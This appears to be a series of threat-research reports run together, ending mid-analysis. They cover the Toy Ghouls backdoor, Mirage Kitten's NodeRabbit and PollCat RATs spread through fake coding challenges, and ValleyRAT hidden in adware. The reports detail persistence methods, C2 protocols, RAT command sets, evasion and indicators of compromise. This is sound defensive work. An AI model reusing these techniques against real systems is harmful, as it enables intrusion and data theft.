We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.
We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:
mqtt-bird-agent 0.1.0 (HiveMQ version)
matrix-bird-agent 0.1.0 (Element version)
This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.
Technical details
Delivery
In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.
Installation
The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.
Other launch options are listed in the backdoor’s help output:
C:\cplsupport.exe -h
Bird Agent - MQTT server monitor
Usage: cplsupport.exe [OPTIONS]
Options:
-c, --config <CONFIG> Path to config.toml config file
--install Install as a system service
--uninstall Uninstall the system service
--seal Encrypt sensitive config fields in-place using a machine-bound key
-h, --help Print help
-V, --version Print version
HiveMQ version backdoor help output
In the Element version, the backdoor help output looks as follows:
C:\wtass.exe -h
Matrix monitoring agent
Usage: wtass.exe [OPTIONS] [COMMAND]
Commands:
install Register this agent with the Matrix homeserver and panel
uninstall Remove this agent's service and credentials
service Run as a Windows service (internal)
help Print this message or the help of the given subcommand(s)
Options:
-c, --config <CONFIG>
-h, --help Print help
-V, --version Print version
Element version backdoor help output
By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.
The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.
If the configuration cannot be decrypted, the backdoor stops running.
Encrypted configuration files look as follows:
Encrypted backdoor configuration file, HiveMQ version
The encrypted portion of the HiveMQ version’s configuration contains the following parameters:
agent_privkey: the agent’s private key
channel_id: the channel identifier used to communicate with the broker
server_pubkey: the server’s public key
Decrypted blob field in the HiveMQ version’s configuration
In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.
Decrypted Element version configuration file, retrieved from the registry
The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.
Communication
At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.
The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.
Once a connection is established, the system’s status is sent via a POST request to
broker.hivemq.com:8883/[cluster_id]/status. The message format is:
{"online":bool,"hostname":"hostname.domain","timestamp":unix_timestamp,"location":{"json"}}.
At intervals defined in the configuration file, system information, such as CPU load and available memory, is sent via a POST request to
broker.hivemq.com:8883/[cluster_id]/metrics3. The message format is:
{cpu_percent":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m":float,"load_5m":float,"load_15m":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
The backdoor sends GET requests to
broker.hivemq.com:8883/[cluster_id]/cmd/req to retrieve commands from the C2 server. The server responds in the format:
{"cmd_id":int,"command":"str","timeout_secs":int}.
Commands are executed via PowerShell.exe in hidden mode, using the -NonInteractive -NoProfile -Command parameters.
Command execution results are sent to the command server at
broker.hivemq.com:8883/[cluster_id]/cmd/res in the
{"stdout":"str","stderr":"str","exit_code":int,"duration_ms":int} format.
For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:
Once a connection is successfully established, the backdoor sends an m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.
At intervals defined in the configuration file, information about the compromised system is sent as an m.bird.metrics message. Field names are slightly different from those in the first version:
{cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
This version of the backdoor supports two types of commands, distinguished by the start of the received message.
To set a new interval for sending metrics, the attackers send a message beginning with config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.
Messages containing commands to execute begin with the string cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.
Received commands are executed via the Windows command line interface.
Command output is sent as an m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.
Takeaways
We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.
While monitoring Mirage Kitten activity, we uncovered a previously undocumented malware family that we dubbed NodeRabbit. We identified the first sample on a system in Afghanistan. Further threat hunting revealed two additional, more advanced, variants: one on a system in Egypt and another on a system in Ethiopia.
NodeRabbit is a cross-platform remote access trojan (RAT) built with Node.js. It targets Windows, Linux, and macOS. Its operators deliver it through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives.
During the same investigation, we discovered another previously undocumented malware family that we dubbed PollCat. Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives.
Mirage Kitten has historically relied on native malware written in languages such as C, C++, and Go, often deploying it through DLL search-order hijacking. NodeRabbit and PollCat represent the first publicly documented use of Node.js- and JavaScript-based malware by this APT group.
Kaspersky’s products detect this threat as Trojan.JS.MirageKitten.*
Background
During recent threat research, we detected suspicious activity on a system in Afghanistan. We traced it to an archive containing a software development project that the user may have received during a job application process. The archive purported to contain a coding challenge for candidates applying for an engineering role.
The archive, Front-Technical-Challenge.zip (MD5: 1EA83E4E4592B01E4ACAB63EB867BEE5), was hosted in an Amazon S3 bucket at: https://oracle-challenge.s3[.]us-east-1.amazonaws[.]com/Front-Technical-Challenge.zip
It contained TaskFlow, an app for software engineering assessment built with Express, React, and Vite. The accompanying README instructed the candidate to review the application and fix defects in its frontend. It also claimed that server.js was bug-free and should not be modified, conveniently directing attention away from the only application source file the attackers had altered.
README file for a trojanized coding challenge app
The README also imposed a three-hour time limit and prohibited the use of AI assistants. Notably, an AI code-review assistant tasked with auditing the project would likely have flagged the suspicious first-line import of an unknown npm package and warned the targeted developer that the project was trojanized.
Rules and time limit included in the trojanized coding challenge app README file
The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0. The attackers bundled the package directly in the challenge task archive’s node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process.
Retrospective threat hunting across our telemetry revealed the broader scope of the campaign. We identified three NodeRabbit variants with a shared code lineage; each was recovered from a system in a different country. The operators delivered the variants through similarly themed coding challenges and used two trojanized packages, colorized_terminal and pretty-log, both pinned to version 2.1.0.
The campaign also delivered PollCat, a second RAT with a substantially different structure, through a separate coding challenge lure. We’ll analyze PollCat later in this research.
Initial access
The infection chain begins with fake recruiter accounts contacting prospective targets on a job search platform. According to a publicly cited source, a threat actor posing as a talent acquisition specialist at a major technology company contacted a software engineer and advertised a job opening, inviting the target to complete a technical assessment.
The target received a link to a coding challenge hosted on Amazon S3 and was pressured to download and run the project immediately. This public post matches the delivery chain we reconstructed from our telemetry: recruiter outreach on a job search platform, a coding challenge presented as a technical assessment, and a trojanized project archive hosted on legitimate cloud infrastructure.
NodeRabbit RAT: the first variant
We discovered the first NodeRabbit variant on a system in Afghanistan. The malware was concealed within the TaskFlow assessment at node_modules/.cache/.320697f1/index.js and executed by the trojanized colorized_terminal package.
Once running, NodeRabbit generates a unique agent identifier from available host information. It calculates the SHA-256 hash of the hostname, username, operating system version, architecture, and MAC address, then truncates the result to its first 32 hexadecimal characters.
NodeRabbit binds a TCP listener to 127.0.0.1:48739. This listener acts as a single-instance mechanism. If the malware cannot bind to the port, it assumes that another instance is already running and terminates silently.
NodeRabbit uses a persistence mechanism for each operating system:
Operating system
Persistence mechanism
Windows
Copies itself to %APPDATA%\Microsoft\EdgeUpdate\msedge_update.js; clones the local node.exe to nodew.exe in the same folder and patches its PE subsystem from Console to Windows GUI to suppress the console window; creates HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate registry key executing nodew.exe msedge_update.js
Linux
Copies itself to ~/.config/microsoft-edge-update/msedge_update.js and creates an @reboot cron entry that invokes the script using the current Node.js executable.
macOS
Copies itself to ~/.config/microsoft-edge-update, creates ~/Library/LaunchAgents/com.microsoft.edgeupdate.plist configuration file pointing at the copy’s location with RunAtLoad and KeepAlive parameters, and attempts to load it.
The malware communicates with its command-and-control servers through three API endpoints, choosing from the following Azure-hosted C2 infrastructure addresses. On failure, it switches to the next C2 address:
NodeRabbit serializes each C2 request object as JSON and wraps it with AES-256-GCM. The AES key is the SHA-256 digest of an ASCII seed embedded into the agent. Every request uses a fresh 12-byte IV and a 16-byte authentication tag:
The malware sends encrypted requests using the following structure:
C2 responses are structured the same way and may contain a command to execute. We observed the first NodeRabbit variant supporting 11 commands:
Command
Functionality
sys:info
Return hostname, domain user information, username, and process ID.
proc:list
List running processes.
proc:start
Execute an arbitrary shell command.
fs:list
List a directory.
fs:read
Read a file in chunks and return Base64 data.
fs:write
Decode Base64 and write it at a chosen file offset.
fs:delete
Delete a file or recursively delete a directory.
fs:mkdir
Create directories recursively.
net:config
Enumerate adapters, MAC addresses, IP addresses, and DNS settings.
agent:sleep
Change the beacon interval.
script:exec
Write a base64 Node.js script to a randomly named .tmp file, execute it and delete it.
NodeRabbit RAT: the second variant
Retrospective threat hunting following the discovery in Afghanistan led us to a second infection on a system in Egypt. This sample is a more advanced NodeRabbit variant, launched through the trojanized pretty-log package instead of colorized_terminal.
Before running its core functionality, the malware checks whether the host resembles an analysis environment. It terminates if it detects limited system memory, a low CPU count, short system uptime, analyst-associated usernames or hostnames, or common analysis tools running on the system.
Before terminating, the malware generates benign HEAD requests to www.google.com, www.microsoft.com, and www.cloudflare.com, then exits without ever contacting its C2 infrastructure. Most likely, it attempts to look less suspicious by showing some benign activity before exiting.
Variant 2 implements partial corporate proxy support: it checks HTTP(S) proxy environment variables, Windows Internet Settings, including an explicit PAC URL, and WinHTTP configuration; tunnels its HTTPS C2 through HTTP CONNECT. It first tries to establish an unauthenticated connection. If it fails, it retries using URL-embedded basic credentials. Finally, it delegates Windows NTLM/Negotiate challenges to curl.exe --proxy-anyauth --proxy-user. It caches the proxy-discovery result, including when no proxy is found, for five minutes. If the polling loop detects a network-interface or IP-address change, it clears the cache and runs proxy discovery again on the next checkin.
To make sure a single instance is running, Variant 2 uses a host-specific port derived from the agent identifier instead of the fixed TCP port used by the first variant. It interprets the first four hexadecimal characters of the identifier as an integer and applies the following calculation: 41984 + (value mod 5000).
The resulting listener port falls between 41984 and 46983. Unlike the shared port used by Variant 1, this port varies depending on the infected host.
For persistence, Variant 2 masquerades as Intel Driver & Support Assistant. The exact persistence mechanism, once again, depends on the operating system.
Operating system
Persistence mechanism
Windows
Copies itself to %LOCALAPPDATA%\Intel\DSA\idriver_support.js. It then copies the local node.exe binary to IntelDSA.exe and changes its PE subsystem from Console to Windows GUI, suppressing the console window. Finally, it creates a scheduled task named IntelDriverSupportUpdate, which runs daily at 10AM and executes IntelDSA.exe with the dropped script.
Linux
Copies itself to ~/.config/intel-dsa/idriver_support.js and creates an @reboot cron entry.
macOS
Copies itself to ~/Library/Application Support/Intel DSA/idriver_support.js and creates the LaunchAgent com.intel.dsa.helper with RunAtLoad and KeepAlive enabled.
NodeRabbit RAT: the third variant
Further threat hunting identified a third NodeRabbit variant on a system in Ethiopia. Like the second variant, it is launched through the trojanized pretty-log package. It retains much of the previous variant’s functionality but introduces significant changes to its command-and-control configuration, command set, and persistence mechanisms.
The third variant communicates with its C2 infrastructure through a different set of API endpoints:
Method
Endpoint
Purpose
POST
/sdk/v2/ready
Register agent and host info
POST
/sdk/v2/config
Poll for commands
POST
/sdk/v2/events
Submit results
We observed the malware using a C2 chain composed of Azure- and Cloudflare-hosted domains.
For persistence, Variant 3 implements the following mechanisms depending on the operating system in use:
Operating system
Persistence mechanism
Windows
Attempts to copy the payload to ProgramData or LocalAppData, create a build-specific daily 10AM task, and start the copied payload. To choose the exact directory, it tries to list C:\Windows\System32\config. If successful, it selects ProgramData with /ru SYSTEM /rl highest; in case of a failure, it selects LocalAppData without explicit /ru or /rl settings.
macOS
Copies the payload to ~/Library/Application Support, creates and loads a RunAtLoad/KeepAlive LaunchAgent and starts the copied payload.
Linux
Copies the payload to ~/.local/share, attempts to add an @reboot cron entry, and starts the copied payload. If crontab -l fails, persistence is skipped.
WSL
Uses the payload copied for persistence on the main Linux system, as described above. Writes launcher.vbs under the Windows user profile, and creates a daily 10AM Windows task that relaunches it through wscript.exe and wsl.exe.
A new command, agent:servers, replaces the active in-memory C2 server list and can write the updated list to .sv.json. The third variant retains the original 11 commands and adds 12 new ones, bringing the total to 23.
New commands
Functionality
fs:drives
Enumerate accessible Windows drive letters or WSL-mounted drives
proc:exec
Execute a process
proc:kill
Kill process by PID or image name
agent:servers
Replace the active C2 and attempt to keep the new configuration
agent:getchain
Return the current C2
outlook:emails
Harvest account addresses from Outlook OST and PST artifacts
persist:check
Check selected VS Code, scheduled-task, and Run-key persistence indicators
persist:vscode
Attempt to install a fake VS Code extension and Windows Run value
persist:vscode:remove
Remove the fake extension
persist:projects:scan
Search recent and common development locations for Git repositories
persist:project:inject
Inject a launcher into a repository’s Git hooks
persist:project:remove
Remove the marked Git-hook launcher
Beyond the persistence mechanisms described above, Variant 3 introduces two additional persistence mechanisms that relaunch the malware through common developer workflows.
1. Malicious VS Code extension
The persist:vscode command first copies the payload to its build-specific install path. If a compatible extension directory exists, it creates a fake extension displayed as GitHub Copilot Helper, with the description AI coding assistant helper service and the activation event on StartupFinished.
The extension’s extension.js file attempts to start the installed payload as a detached Node.js process. To look less suspicious to the user, it uses a trusted publisher name borrowed from local extension metadata or a trustedPublishers value found in state.vscdb. However, no signature or trusted status is copied.
Separately, the handler tries to disable Workspace Trust if the VS Code User directory exists. On Windows, it attempts to establish persistence using a current-user Run registry key value even if the extension directory is missing.
2. Git hook injection
Git-hook persistence works in two steps. First, persist:projects:scan checks recent VS Code workspace paths directly. Under common locations such as ~/projects and ~/source, it checks only the first 60 immediate children, not the root itself, and returns no more than 20 repositories.
For a selected repository, persist:project:inject appends a marked launcher to .git/hooks/post-merge and .git/hooks/post-checkout by default. The marker is # shepherd-persist; the line following the marker attempts to start the installed payload with Node in the background. A later Git operation must trigger one of those hooks, and the referenced Node executable and payload must still exist.
PollCat RAT
While tracking NodeRabbit infections, we discovered another malicious tool we dubbed PollCat, which is also distributed under the guise of a programming challenge. The sample we obtained resides inside RankChallenge-react, a React code-fixing challenge presented as a time-limited developer assessment. Running the project invokes npm i && node index.js, which starts the local application and attempts to open the challenge in the user’s browser.
Although the visible exercise is not a security CTF, the project uses CTF terminology in several places. The root package is named ctf-server, the backend prints CTF server running, the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf. These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components.
README instructions and challenge overview included in the trojanized React coding project
The PDF tutorial contained in the same archive as the project tells the target to click Continue, enter a six-digit OTP code, and complete the challenge within a one-hour session. It states that codes are supplied by the recruiter, are single-use, and expire quickly; the visible login page also claims that codes rotate every 30 seconds. In the delivery scenario described by the investigation, the threat actor posing as a recruiter could provide the code directly to the targeted developer. This gives the operator control over access to the lure, while the expiring code and countdown create a sense of urgency, pressuring the target to run the project and complete the assessment quickly, potentially accelerating the infection process.
One-hour session window enforced by the trojanized coding challenge
The bundled .env file contains the JWT signing secret, OTP service URL, and OTP client ID.
Configuration embedded in .env file of the trojanized coding project, including the OTP service URL and client identifier
The application forwards submitted codes to an attacker-managed domain registered in late June-2026: https://lifespotify[.]com/api/users/b879746e-fed9-4211-a6da-4d8223681267/otp/validate.
That said, PollCat starts independently of the OTP authentication process. During application startup, app.js loads requireAuth.js, which imports and immediately starts the malicious requireObjects.js component. PollCat can therefore begin C2 registration and command polling while the application is still loading, before the user enters an access code.
A failed OTP validation prevents the user from accessing the protected challenge features, but PollCat continues running in the background. A successful OTP validation issues a JWT and creates another worker that starts an additional PollCat instance. The first authenticated request also triggers the persistence attempt.
Persistence starts when the first request carrying a valid JWT reaches the protected middleware. PollCat then uses one of the following methods:
Operation system
Persistence mechanism
Windows
Writes package.json and requireObject.js to %APPDATA%\Microsoft\Network, runs npm install, and creates a daily task named NetSync_<username> and scheduled for 09AM that runs the worker with Node.js.
Linux
Writes the worker to ~/.node_packages, runs npm i, and appends both a daily 09AM cron line and an @reboot line.
macOS
Uses the same ~/.node_packages copy and cron path, then creates and loads ~/Library/LaunchAgents/com.harsh.requireobject.plist with RunAtLoad and a daily 09AM trigger.
Once active, PollCat identifies the host as 129--<hostname> and iterates over the following C2s until registration succeeds:
After registration, PollCat sends host information to /gate/hello, polls /gate/fetch for commands, and returns results through /gate/submit. All endpoints in use are presented in the table below.
Method
Endpoint
Purpose
POST
/beacon
Register the client and obtain a socketId and optional timing values.
POST
/gate/hello
Submit host, user, domain, OS information, and its current privilege level.
GET
/gate/fetch?token=<socketId>
Poll for commands.
POST
/gate/submit
Submit a Base64-encoded command-result structure.
GET
/vault/<uuid>
Retrieve a hosted file and write it to the victim machine.
PUT
/vault/push/
Upload a local file or file chunk to the C2.
POST
/gate/track
Report chunk-upload progress.
By default, PollCat RAT polls every two minutes with up to five seconds of jitter. Commands and results are stored as little-endian binary records and carried as Base64 text.
PollCat RAT declares 22 commands, but three of them have no implementation:
Command
Functionality
0x02 (DIR)
List a directory.
0x03 (MV)
Move a file or directory.
0x04 (RUN)
Execute a shell command.
0x05 (TASKLIST)
List running processes.
0x06 (DEL)
Delete a file or directory.
0x07 (UPLOAD)
Download a file from the C2 to the victim’s machine.
0x08 (DOWNLOAD)
Upload a local file to the C2.
0X09 (DRIVES)
List drives, volumes, or mount points.
0X0A (TERMINATE)
Terminate a process by PID.
0X0B (RUNDLL)
Load a DLL and call an exported function on Windows.
0X0C (MKDIR)
Create a directory.
0X0D (ZIP)
Create or extract a ZIP archive.
0X0E (CHUNKED_DOWNLOAD)
Upload a local file in chunks.
0X0F (RUN_HIDDEN)
Start a hidden background process.
0X20 (EVAL_JS)
Execute JavaScript supplied by the C2.
0X30 (SYSTEM_CHECK)
Collect process and software inventory.
0XA1 (WS_DOWNLOAD)
Defined but not implemented.
0xB0 (REQUEST_ELEVATION)
Defined but not implemented.
0XB1 (PERSIST)
Defined but not implemented.
0xF0 (SET_SLEEP_TIME)
Change the polling interval.
0XF1 (SET_IDLE_TIME)
Store an idle-time value.
0xF2 (SET_JITTER_TIME)
Change polling jitter.
The command names UPLOAD, DOWNLOAD, and CHUNKED_DOWNLOAD are written from the C2’s perspective. UPLOAD sends a C2-hosted file to the victim’s machine, while the two download commands transfer victim files back to the C2.
EVAL_JS runs JavaScript supplied by the C2 and gives that code access to Node.js modules, files, processes, networking, and child-process functions. SYSTEM_CHECK collects the names of running processes and lists files and folders from:
%SystemDrive%\Program Files
%SystemDrive%\Program Files (x86)
%LOCALAPPDATA%
%LOCALAPPDATA%\Programs
%APPDATA%
%USERPROFILE%
%APPDATA%\Microsoft\Outlook
%LOCALAPPDATA%\Microsoft\Olk\Attachments
%USERPROFILE%\Documents
It also searches for folders matching 24 hardcoded strings corresponding to security software vendor names: ‘Google’, ‘Microsoft’, ‘Palo Alto Networks’, ‘Cisco’, ‘VMware’, ‘Fortinet’, ‘Citrix’, ‘CheckPoint’, ‘Juniper Networks’, ‘LogMeIn’, ‘Sophos’, ‘Symantec’, ‘Trend Micro’, ‘McAfee’, ‘Kaspersky Lab’, ‘ESET’, ‘Bitdefender’, ‘Avast Software’, ‘CrowdStrike’, ‘SentinelOne’, ‘Malwarebytes’, ‘BraveSoftware’, ‘Tencent’, and ‘Naver’.
When PollCat finds a matching folder, it lists that folder’s root contents. It does not recursively scan the entire product directory. The detailed inventory, including process names, directory listings, and collected paths, is sent as JSON to POST /api/system-details/result.
Infrastructure
Mirage Kitten continues to rely on Azure Websites and Cloudflare-backed domains to hinder infrastructure discovery and tracking. More importantly, the use of Microsoft Azure subdomains for C2 helps the traffic blend into legitimate organizational network activity. In some cases that we encountered during our research, the actors even incorporated the targeted organization’s name into the Azure subdomain, making C2 communications appear more like normal business traffic originating from an employee machine during regular business days.
Based on our analysis of Mirage Kitten’s infrastructure, we identified certain patterns across several command-and-control channels, including msmanagementgrp[.]com and visitfinancedentists[.]com
Further investigation based on these patterns led to the discovery of approximately 11 additional infrastructure assets attributed to the same group.
Domain
Creation date
Registrar
healthful-hub[.]com
2026-07-03
NameCheap, Inc.
neumedicahealthcare[.]com
2026-07-03
NameCheap, Inc.
optimumhealthcredit[.]com
2026-07-03
NameCheap, Inc.
healthfullyrecipes[.]com
2026-06-30
NameCheap, Inc.
refreshhealthandwellness[.]com
2026-06-09
NameCheap, Inc.
healthvitalitycare[.]com
2026-05-18
NameCheap, Inc.
aceofspadesmanagement[.]com
2026-05-18
NameCheap, Inc.
glmediaagency[.]com
2026-05-18
NameCheap, Inc.
digimediaskill[.]com
2026-05-18
NameCheap, Inc.
healthyweightplan[.]com
2026-05-18
NameCheap, Inc.
mens-health-online[.]com
2026-05-15
NameCheap, Inc.
Victims
Based on our telemetry, we identified victims in fintech, aviation and aerospace sectors across the Middle East and Africa – specifically, in Egypt, Ethiopia and Afghanistan.
We also observed submissions of ZIP archives with trojanized projects containing NodeRabbit and PollCat to an online multi-scanner originating from several countries, including India, Türkiye, Israel, Iraq, Germany, and Ireland.
Attribution
We attribute this activity to Mirage Kitten with a high degree of confidence based on the following observations:
Structural similarities with the Retrograde/MiniFast native DLL backdoor (MD5:810F8E3B88EB05F710C09552941D6F56)
Initial C2 handshake and session establishment logic. Both PollCat and Retrograde/MiniFast follow a similar C2 handshake flow. Each builds a JSON request body containing host information and sends it via an HTTP POST request. Notably, both treat HTTP 400 as a successful handshake response rather than an error, parsing the response body to extract a socketId, which is then stored and used as the session token for subsequent C2 communication.
Similar C2 handshake and socketId session establishment logic in MiniFast/Retrograde and PollCat
Host registration. Both PollCat and Retrograde/MiniFast register the infected host with the C2 server by sending a structurally similar JSON request body containing the session token and host information.
Command fetching similarities. The similarities extend to command retrieval. Both PollCat and Retrograde/MiniFast periodically poll the C2 server using an HTTP GET request containing the previously assigned socketId as a token. Retrograde/MiniFast uses GET /agent/poll?token=<socketId>, while PollCat follows the same pattern with GET /gate/fetch?token=<socketId>, demonstrating a closely aligned C2 communication structure.
Beacon timing similarities. PollCat and the Retrograde/MiniFast share identical beacon timing defaults: a polling interval of 120,000 ms (0x1D4C0), a jitter of 5,000 ms (0x1388), and a retry timeout of 60,000 ms (0xEA60). This further highlights the structural similarities between the two C2 communication implementations.
Command set similarities. PollCat and Retrograde/MiniFast share several commands and command IDs. Notably, PollCat declares REQUEST_ELEVATION (0xB0) and PERSIST (0xB1) but does not implement them. In MiniFast, both are functional: 0xB0 performs UAC elevation, while 0xB1 creates the WindowsSecurityUpdate scheduled task for persistence.
Command set similarities between MiniFast/Retrograde and PollCat, including shared command identifiers
Proxy authentication similarities. NodeRabbit delegates corporate-proxy NTLM/Negotiate authentication to curl.exe --proxy-anyauth --proxy-user, using the victim’s logon session. Retrograde/MiniFast native DLL implements the same approach natively through WinHttpQueryAuthSchemes and WinHttpSetCredentials with NULL credentials. This shared proxy-aware C2 design suggests the same development approach across both malware families.
Speaking of victimology, the attacks are consistent with Mirage Kitten’s known geographic targeting, with the group maintaining a strong focus on entities across Africa and the Middle East, this time with a particular focus on the aviation and FinTech sectors.
As for the operational infrastructure, Mirage Kitten has historically hosted its initial ZIP lures on legitimate third-party services. Previously, it used onlyoffice.com for this purpose. In this activity, the group shifted to Amazon S3 buckets.
Finally, the combination of Azure Websites and Cloudflare‑backed domains has been a hallmark of Mirage Kitten’s TTPs, which we have observed across NodeRabbit and PollCat.
Conclusions
Mirage Kitten’s latest activity marks a notable evolution in the group’s tooling: NodeRabbit and PollCat are the group’s first Node.js/JavaScript-based implants, departing from its usual native malware deployed through DLL search-order hijacking. The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations.
The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyberespionage purposes. We continue to track the group’s activity and will report on new developments in future publications.
Attackers typically try to pass off malware as legitimate applications or as potentially unwanted programs that users deliberately search for and download, such as cheats or cracks. They often rely on ad and affiliate networks to deliver their creations to victims’ devices. This post examines a less conventional case: a well-known backdoor distributed under the guise of adware. The attackers may have chosen this distribution method because the adware was signed by the developer. On top of that, users often manually add these apps to exclusions, so their useful features don’t get blocked.
Some time ago, a client asked us to analyze a file with the MD5 hash c24e99f9437feacaa63766a3cde3fe3d and add it to our detection database. We initially classified it as adware, but a cursory analysis turned up suspicious network activity, which prompted us to dig deeper. It turned out the sample did far more than serve ads. In fact, its advertising functionality doesn’t even work; instead, it triggers an infection chain that delivers the ValleyRAT backdoor.
Malicious installer
The file the client shared with us turned out to be an installer that performed different actions depending on the two-letter suffix used in the file name, positioned just before the numeric string.
Installer name
What it does
FS_SETUP_DD_173.exe
Installs DingTalk, a workplace collaboration platform
FS_SETUP_GG_173.exe
Installs Google Chrome
FS_SETUP_HY_173.exe
Opens hxxps://meeting[.]tencent[.]com/download/
These actions are most likely designed to divert the user’s attention away from the sample’s malicious functionality. Regardless of the file name, the installer deploys a modified Chinese desktop wallpaper management tool called QN Wallpaper (hxxps://qnwallpaper[.]keansoft[.]cn/) and adds it to the registry’s autorun entries.
The original version of QN Wallpaper is genuine adware: on installation, it delivers bundled partner apps to the device and then displays ad banners to the user. In this case, however, the attackers use it to carry out DLL sideloading, a technique that allows malicious code to run under the guise of a signed process by way of a malicious DLL.
The QN Wallpaper modules, along with the malicious components, are unpacked to C:\Program Files\QNWallpaper\5.4.0.1662\<random string of letters and digits>. The following files are saved in that directory:
File name
MD5
Purpose
1.zip
7ad1e3ef4e6d9d636c9e7e967733850e
Archive containing the adware files QnWallpeper.exe and QnwPlayer.exe, along with the modules needed to run them
7z.dll
96b4c1d0683dce22bd3223e1e40689c1
7z archiver library
7z.exe
9b86d3ab6cef15c633933fbbeab39c0a
Archiver
chrome_elf.dll
edfdc30cbd85879776b8f735ea7de1f1
Library used to launch Electron-based applications
libcef.dll
07ddbbe2c71c45577a7a4fbcdba0df91
Malicious library
PeLoader
48826d5ca845979d2e6ebd66dc1aae90
File containing the encrypted backdoor
QnWallpaper.exe
6c158c0f8e029342192d4f0d72e102b7
Adware module
QnwPlayer.exe
9a71d6a41cd258b9e89cdc5fc224de73
Adware module
<random string of letters and digits>Nedca.exe
c24e99f9437feacaa63766a3cde3fe3d
Malicious installer copy
After unpacking, the installer uses the DisableAntiSpyware registry key to disable Windows Defender and then launches QnWallpaper.exe.
Disabling Windows Defender
DLL Sideloading via libcef.dll
QnWallpaper.exe has dependencies in libcef.dll, so this library gets loaded when the process starts. QnWallpaper.exe also launches QnwPlayer.exe, which likewise calls libcef.dll.
QnWallpaper and QnwPlayer won’t actually function correctly, because the functions exported from libcef.dll are put into an infinite sleep. However, in case that sleep is ever interrupted, the attackers have implemented a function that loads all the necessary functions from the original library into memory, provided it can locate that library on the system.
Example of an exported function
Loading functions from the original libcef.dll
The malicious functionality in libcef.dll is invoked by a call to DllMain, which runs automatically when the library is loaded. That said, alongside the original exports, the library also contains a function named RunDLL, which likewise initiates execution of the malicious code. QnWallpaper never calls this function. We suspect the attackers intended to invoke it manually via rundll32 or planned to use a separate executable for this purpose, one that wasn’t included in the package downloaded by the sample.
The RunDLL function
Running the malicious code
When the library is loaded, code runs that ensures QnWallpaper.exe persists at startup: it adds a file extension association and drops a file with the corresponding extension in C:\Documents and Settings\<username>\Start Menu\Programs\Startup\.
This is followed by a chain of wrapper functions whose main job is to call the next one. Execution eventually reaches the function that contains the actual malicious code. For convenience, we’ll refer to it as mw_entry.
Inside mw_entry, the malware checks two things:
Whether the current user belongs to the Administrators group
Which process the DLL is running inside
Checking for administrator privileges
If the user isn’t a member of the Administrators group, the program attempts to obtain administrator privileges by using the runas utility.
Relaunching the process to obtain administrator privileges
